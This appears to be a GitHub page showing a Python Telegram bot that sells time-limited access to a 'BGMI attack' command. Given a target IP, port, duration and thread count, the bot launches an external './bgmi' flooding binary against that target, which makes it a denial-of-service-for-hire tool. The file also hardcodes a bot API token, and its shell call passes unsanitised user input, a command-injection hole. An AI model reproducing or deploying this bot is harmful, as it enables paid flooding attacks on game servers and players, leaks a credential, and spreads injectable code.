-
Notifications
You must be signed in to change notification settings - Fork 0
/
m.py
268 lines (222 loc) ยท 12.1 KB
/
m.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
import asyncio
import json
import logging
import time
import signal
from aiogram import Bot, Dispatcher
from aiogram.types import Message
from aiogram import filters
import datetime
import timedelta
import os
import sys
logging.basicConfig(level=logging.INFO)
API_TOKEN = '7507111089:AAHgJH_Qrrpu-HED0Ymyyvgo96FdGFKHQT0'
ADMIN_ID = 5806653551
AUTHORIZED_USERS = {}
def load_authorized_users():
global AUTHORIZED_USERS
try:
with open("authorized_users.json", "r") as f:
users = json.load(f)
for user_id, user_data in users.items():
if isinstance(user_data, dict) and "authorized_until" in user_data:
AUTHORIZED_USERS[int(user_id)] = {"authorized_until": datetime.datetime.fromtimestamp(user_data["authorized_until"])}
else:
print(f"Warning: User {user_id} has no 'authorized_until' field in authorized_users.json")
except FileNotFoundError:
pass
def save_authorized_users():
with open("authorized_users.json", "w") as f:
users = {str(user_id): {"authorized_until": user_data["authorized_until"].timestamp()} for user_id, user_data in AUTHORIZED_USERS.items()}
json.dump(users, f)
load_authorized_users()
async def check_authorization(user_id):
if user_id not in AUTHORIZED_USERS:
return False
user_data = AUTHORIZED_USERS[user_id]
if user_data["authorized_until"] < datetime.datetime.now():
del AUTHORIZED_USERS[user_id]
save_authorized_users()
return False
return True
async def add_user(message: Message):
if message.from_user.id!= ADMIN_ID:
await message.answer(" Are you admin ? I think You are not admin ? ๐")
return
args = message.text.split()[1:]
if len(args)!= 2:
await message.answer("Usage: /adduser <user_id> <authorization_period>")
return
user_id = int(args[0])
authorization_period = int(args[1])
AUTHORIZED_USERS[user_id] = {"authorized_until": datetime.datetime.now() + datetime.timedelta(hours=authorization_period)}
save_authorized_users()
await message.answer(f"User {user_id} added with authorization period of {authorization_period} hours.")
async def remove_user(message: Message):
if message.from_user.id!= ADMIN_ID:
await message.answer("Are you admin ? I think You are not admin ? ๐")
return
args = message.text.split()[1:]
if len(args)!= 1:
await message.answer("Usage: /removeuser <user_id>")
return
user_id = int(args[0])
if user_id in AUTHORIZED_USERS:
del AUTHORIZED_USERS[user_id]
save_authorized_users()
await message.answer(f"User {user_id} removed.")
else:
await message.answer(f"User {user_id} not found.")
async def update_user(message: Message):
if message.from_user.id!= ADMIN_ID:
await message.answer("Are you admin ? I think You are not admin ? ๐")
return
args = message.text.split()[1:]
if len(args)!= 2:
await message.answer("Usage: /updateuser <user_id> <new_authorization_period>")
return
user_id = int(args[0])
new_authorization_period = int(args[1])
if user_id in AUTHORIZED_USERS:
AUTHORIZED_USERS[user_id]["authorized_until"] = datetime.datetime.now() + datetime.timedelta(hours=new_authorization_period)
save_authorized_users()
await message.answer(f"User {user_id} updated with new authorization period of {new_authorization_period} hours.")
else:
await message.answer(f"User {user_id} not found.")
async def list_users(message: Message):
if message.from_user.id!= ADMIN_ID:
await message.answer("Are you admin ? I think You are not admin ? ๐")
return
user_list = []
for user_id, user_data in AUTHORIZED_USERS.items():
user_list.append(f"{user_id} - Authorized until: {user_data['authorized_until']}")
await message.answer("Authorized users:\n" + "\n".join(user_list))
async def broadcast(message: Message):
if message.from_user.id!= ADMIN_ID:
await message.answer("Are you admin ? I think You are not admin ? ๐")
return
text = message.text.split(maxsplit=1)[1]
for user_id in AUTHORIZED_USERS:
try:
await bot.send_message(user_id, text)
except Exception as e:
logging.error(f"Error sending message to user {user_id}: {e}")
def save_authorized_users():
with open("authorized_users.json", "w") as f:
users = {str(user_id): {"authorized_until": user_data["authorized_until"].timestamp()} for user_id, user_data in AUTHORIZED_USERS.items()}
json.dump(users, f)
async def restart_bot(message: Message):
if message.from_user.id!= ADMIN_ID:
await message.answer("Are you admin ? I think You are not admin ? ๐")
return
await message.answer("Restarting bot...")
save_authorized_users()
os.execl(sys.executable, sys.executable, *sys.argv)
async def user_info(message: Message):
user_id = message.from_user.id
user_data = AUTHORIZED_USERS.get(user_id)
if user_data:
approval_expiry = user_data["authorized_until"]
if approval_expiry > datetime.datetime.now():
approval_expiry_str = approval_expiry.strftime("%Y-%m-%d %H:%M:%S")
else:
approval_expiry_str = "Not approved"
else:
approval_expiry_str = "๐๐ฅ๐ฅ๐จ ๐๐ค๐ฉ ๐๐ฅ๐ฅ๐ง๐ค๐ซ๐๐ ๐พ๐ค๐ฃ๐ฉ๐๐๐ฉ @valkyraegfx"
username = message.from_user.username
await message.answer(f"๐ ๐๐ค๐ก๐: ๐๐จ๐๐ง\n"
f"๐ ๐๐จ๐๐ง ๐๐ฟ: {user_id}\n"
f"๐ค ๐๐จ๐๐ง๐ฃ๐๐ข๐: {username}\n"
f"โณ ๐ผ๐ฅ๐ฅ๐ง๐ค๐ซ๐๐ก ๐ค๐ง ๐๐ญ๐ฅ๐๐ง๐ฎ: {approval_expiry_str}")
attack_process = None
last_attack_time = 0
async def welcome_user(message: Message):
if not await check_authorization(message.from_user.id):
await message.answer("๐ผ๐๐๐๐จ๐จ ๐๐๐ฃ๐๐๐\n ๐๐ค๐ช ๐๐ง๐ ๐ฃ๐ค๐ฉ ๐๐ช๐ฉ๐๐ค๐ง๐๐ฏ๐๐ ๐ฉ๐ค ๐ช๐จ๐ ๐ฉ๐๐๐จ ๐๐ค๐ฉ\n ๐ ๐๐ฃ๐๐ก๐ฎ ๐ฟ๐ข @valkyraegfx ๐๐ค ๐๐๐ฉ ๐ผ๐๐๐๐จ๐จ")
return
await message.answer(f"๐๐๐ก๐๐ค๐ข๐ ๐ฉ๐ค ๐ฟ๐๐ผ๐ฟ๐๐๐๐ ๐ฟ๐ฟ๐๐ ๐ฝ๐ค๐ฉ! ๐\n\n"
f"๐๐๐๐จ ๐๐ค๐ฉ ๐๐ก๐ก๐ค๐ฌ๐จ ๐ฎ๐ค๐ช ๐ฉ๐ค ๐ก๐๐ช๐ฃ๐๐ ๐ ๐ฝ๐๐๐ ๐๐ฉ๐ฉ๐๐๐ ๐ค๐ฃ ๐ ๐ฉ๐๐ง๐๐๐ฉ ๐๐ ๐๐ฃ๐ ๐ฅ๐ค๐ง๐ฉ.\n\n"
f"๐๐๐ข๐ <๐๐ฅ> <๐ฅ๐ค๐ง๐ฉ> <๐ฉ๐๐ข๐_๐จ๐๐๐ค๐ฃ๐๐จ> <๐ฉ๐๐ง๐๐๐๐จ> \n\n"
"๐๐ญ๐๐ข๐ฅ๐ก๐:/๐๐๐ข๐ 20.235.94.237 17870 180 180\n\n")
LAST_ATTACK_TIME = {}
async def bgmi_attack(message: Message):
if not await check_authorization(message.from_user.id):
await message.answer("๐ผ๐๐๐๐จ๐จ ๐๐๐ฃ๐๐๐\n ๐๐ค๐ช ๐๐ง๐ ๐ฃ๐ค๐ฉ ๐๐ช๐ฉ๐๐ค๐ง๐๐ฏ๐๐ ๐ฉ๐ค ๐ช๐จ๐ ๐ฉ๐๐๐จ ๐๐ค๐ฉ\n ๐ ๐๐ฃ๐๐ก๐ฎ ๐ฟ๐ข @valkyraegfx ๐๐ค ๐๐๐ฉ ๐ผ๐๐๐๐จ๐จ")
return
if message.from_user.id not in AUTHORIZED_USERS:
await message.answer("๐ผ๐๐๐๐จ๐จ ๐๐๐ฃ๐๐๐\n ๐๐ค๐ช ๐๐ง๐ ๐ฃ๐ค๐ฉ ๐๐ช๐ฉ๐๐ค๐ง๐๐ฏ๐๐ ๐ฉ๐ค ๐ช๐จ๐ ๐ฉ๐๐๐จ ๐๐ค๐ฉ\n ๐ ๐๐ฃ๐๐ก๐ฎ ๐ฟ๐ข @valkyraegfx ๐๐ค ๐๐๐ฉ ๐ผ๐๐๐๐จ๐จโ.")
return
current_time = time.time()
if message.from_user.id in LAST_ATTACK_TIME and current_time - LAST_ATTACK_TIME[message.from_user.id] < 60:
remaining_seconds = 60 - (current_time - LAST_ATTACK_TIME[message.from_user.id])
minutes, seconds = divmod(remaining_seconds, 60)
time_str = f"{int(minutes)} ๐ข๐๐ฃ๐ช๐ฉ๐๐จ ๐๐ฃ๐ {int(seconds)} "
await message.answer(f"๐๐ค๐ช ๐ข๐ช๐จ๐ฉ ๐ฌ๐๐๐ฉ {time_str}. ๐จ๐๐๐ค๐ฃ๐๐จ ๐๐๐๐ค๐ง๐ ๐จ๐ฉ๐๐ง๐ฉ๐๐ฃ๐ ๐๐ฃ๐ค๐ฉ๐๐๐ง ๐๐ฉ๐ฉ๐๐๐ ")
return
args = message.text.split()[1:]
if len(args) < 4:
await message.answer(" ๐คฆโโ๏ธ๐๐จ๐๐๐: /๐๐๐ข๐ <๐๐ฅ> <๐ฅ๐ค๐ง๐ฉ> <๐ฉ๐๐ข๐_๐จ๐๐๐ค๐ฃ๐๐จ> <๐ฉ๐๐ง๐๐๐๐จ> \n\n ๐คทโโ๏ธ๐๐ญ๐๐ข๐ฅ๐ก๐ /๐๐๐ข๐ 20.235.94.237 17870 180 180")
return
ip, port, time_seconds, threads = args
command = f"./bgmi {ip} {port} {time_seconds} {threads}"
LAST_ATTACK_TIME[message.from_user.id] = current_time
await message.answer(f"๐๐ผ๐ฉ๐ฉ๐๐๐ ๐จ๐ฉ๐๐ง๐ฉ๐๐ ๐ค๐ฃ๐ซ \n ๐ฏ๐๐: {ip}\n ๐๏ธ๐๐ค๐ง๐ฉ: {port}\n โ๐๐๐ข๐: {time_seconds} ๐จ๐๐.")
try:
attack_process = await asyncio.create_subprocess_shell(
command,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE
)
stdout, stderr = await attack_process.communicate()
response = f"๐๐ผ๐ฉ๐ฉ๐๐๐ ๐ค๐ฃ โ๏ธ {ip}:{port} \n ๐๐พ๐ค๐ข๐ฅ๐ก๐๐ฉ๐๐ ๐๐๐ช๐๐๐๐จ๐จ๐๐ช๐ก๐ก๐ฎ๐ฅณ"
if stdout:
response += f"\nOutput:\n{stdout.decode()}"
if stderr:
response += f"\nErrors:\n{stderr.decode()}"
await message.answer(response)
except Exception as e:
await message.answer(f"Error: {e}")
async def bgmi_stop(message: Message):
if not await check_authorization(message.from_user.id):
await message.answer("๐ผ๐๐๐๐จ๐จ ๐๐๐ฃ๐๐๐\n ๐๐ค๐ช ๐๐ง๐ ๐ฃ๐ค๐ฉ ๐๐ช๐ฉ๐๐ค๐ง๐๐ฏ๐๐ ๐ฉ๐ค ๐ช๐จ๐ ๐ฉ๐๐๐จ ๐๐ค๐ฉ\n ๐ ๐๐ฃ๐๐ก๐ฎ ๐ฟ๐ข @valkyraegfx ๐๐ค ๐๐๐ฉ ๐ผ๐๐๐๐จ๐จ")
return
if message.from_user.id not in AUTHORIZED_USERS:
await message.answer("๐ผ๐๐๐๐จ๐จ ๐๐๐ฃ๐๐๐\n ๐๐ค๐ช ๐๐ง๐ ๐ฃ๐ค๐ฉ ๐๐ช๐ฉ๐๐ค๐ง๐๐ฏ๐๐ ๐ฉ๐ค ๐ช๐จ๐ ๐ฉ๐๐๐จ ๐๐ค๐ฉ\n ๐ ๐๐ฃ๐๐ก๐ฎ ๐ฟ๐ข @valkyraegfx ๐๐ค ๐๐๐ฉ ๐ผ๐๐๐๐จ๐จโ.")
return
# Rest of the bgmi stop code
global attack_process
if attack_process is not None:
attack_process.terminate()
attack_process.wait()
attack_process = None
await message.answer("๐Attack stopped.")
else:
await message.answer("No attack is currently running.")
async def main():
bot = Bot(token=API_TOKEN)
dp = Dispatcher()
# Register handlers
dp.message.register(welcome_user, filters.Command("start"))
dp.message.register(bgmi_attack, filters.Command(commands=['bgmi']))
dp.message.register(broadcast, filters.Command("broadcast"))
dp.message.register(bgmi_stop, filters.Command("stop"))
dp.message.register(add_user, filters.Command("adduser"))
dp.message.register(remove_user, filters.Command("removeuser"))
dp.message.register(update_user, filters.Command("updateuser"))
dp.message.register(list_users, filters.Command("listuser"))
dp.message.register(restart_bot, filters.Command("restart"))
dp.message.register(user_info, filters.Command("userinfo"))
async def remove_expired_users():
while True:
global AUTHORIZED_USERS
for user_id in list(AUTHORIZED_USERS.keys()):
user_data = AUTHORIZED_USERS[user_id]
if user_data["authorized_until"] < datetime.datetime.now():
del AUTHORIZED_USERS[user_id]
save_authorized_users()
await asyncio.sleep(60)
asyncio.create_task(remove_expired_users())
await dp.start_polling(bot)
if __name__ == '__main__':
asyncio.run(main())